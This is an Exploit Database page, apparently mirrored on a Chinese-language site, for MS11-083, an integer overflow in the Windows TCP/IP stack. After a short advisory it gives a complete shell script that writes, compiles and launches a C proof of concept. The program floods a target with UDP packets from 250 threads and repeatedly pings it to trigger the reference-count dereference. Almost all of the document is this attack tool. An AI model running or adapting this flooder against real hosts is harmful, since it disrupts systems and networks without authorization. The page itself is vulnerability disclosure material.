Microsoft Windows – TCP/IP Stack Reference Counter Integer Overflow (MS11-083)

• Exploit Database
• 83 阅读

• 作者： anonymous
  日期： 2011-11-08
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/36285/

• // source: https://www.securityfocus.com/bid/50517/info
  
  Microsoft Windows is prone to a remote integer-overflow vulnerability that affects the TCP/IP stack.
  
  An attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will completely compromise affected computers. Failed exploit attempts may result in a denial-of-service condition. 
  
  #!/bin/sh
  cat >> winnuke2011.c << EOF
  /*
  * MS11-083 DoS/PoC exploit
  * ========================
  * This attempts to trigger the ICMP refCount overflow
  * in TCP/IP stack of Win7/Vista/Win2k8 hosts. This 
  * requires sending 2^32 UDP packets to a host on a closed
  * port, or 4,294,967,296 packets. A dereference function
  * must be called that is not triggered via UDP but ICMP
  * echo packets. This exploit creates 250 threads and 
  * floods a host with UDP packets and then attempts to
  * trigger the de-ref using ping. I calculated that it
  * would take approximately 52 days for the host to 
  * enter a condition where this vulnerability is 
  * triggerable. 
  *
  * -- prdelka 
  */
  #include <stdio.h>
  #include <stdlib.h>
  #include <pthread.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/in.h>
  #include <arpa/inet.h>
  #include <netdb.h>
  #include <stdio.h>
  #include <unistd.h>
  #include <string.h> 
  #include <sys/time.h> 
  
  int port;
  int active = 0;
  pthread_mutex_t mutexactive;
  void *sendpackets(void *ptr);
  
  int main(int argc, char *argv[]) {
   pthread_t thread;
   int iret,lthreads;
  pid_t pid;
  printf("[+] MS11-083 DoS/PoC exploit\n");
  if(argc<3){
  printf("[!] Usage : %s <server> <port>\n", argv[0]);
  exit(1);
  }
  char *const args[] = {"ping",argv[1],NULL};
  char *const envp[] = {"",NULL};
  port = atoi(argv[2]);
  for(lthreads=0;lthreads<250;lthreads++){//UDP flood
  iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
  printf("[-] Thread number %d started\n",lthreads);
  sleep(1);
  }
  printf("[-] One does not simply barrel roll into Mordor\n");
  pid = fork();
  if(pid==0){// trigger deref.
  execve("./ping.sh",args,envp);
  };
  while(active){
  }
  printf("[-] You are finished. Patience is a virtue.\n");
  exit(0);
  }
  
  void *sendpackets(void *ptr)
  {
  int sd, rc, n, echoLen, flags, error, timeOut;
  unsigned long i;
  struct sockaddr_in remoteServAddr;
  struct hostent *h;
  char str[41];
  pthread_mutex_lock(&mutexactive);
  active++;
  pthread_mutex_unlock(&mutexactive);
   srand(time(NULL));
   for (i = 0;i < 40;++i){
  str[i] = (char)((rand() % 78) + 30);
   }
   str[40] = '\0'; // yes this was off-by-one. :(
  printf("[-] Sending payload '%s'\n",str);
  h = gethostbyname(ptr);
  if(h==NULL) {
  printf("unknown host '%s' \n",(char*)ptr);
  exit(1);
  }
  remoteServAddr.sin_family = h->h_addrtype;
  memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length);
  remoteServAddr.sin_port = htons(port);
  sd = socket(AF_INET,SOCK_DGRAM,0);
  if(sd<0){
  printf("[!] Cannot open socket\n");
  pthread_exit((void*)0);
  }
  flags = 0;
  for(i=0;i<4294967295;i++){
  rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
  if(rc<0){
  printf("[!] Cannot send data\n");
  close(sd);
  pthread_exit((void*)0);
  }
  }
  pthread_mutex_lock(&mutexactive);
  active--;
  pthread_mutex_unlock(&mutexactive);
  pthread_exit(NULL);
  }
  EOF
  cat >> ping.sh << EOF
  #!/bin/sh
  while \`true\`;do /sbin/ping -c 1 \$1;done
  EOF
  chmod +x ping.sh
  gcc winnuke2011.c -o winnuke2011 
  ./winnuke2011
  

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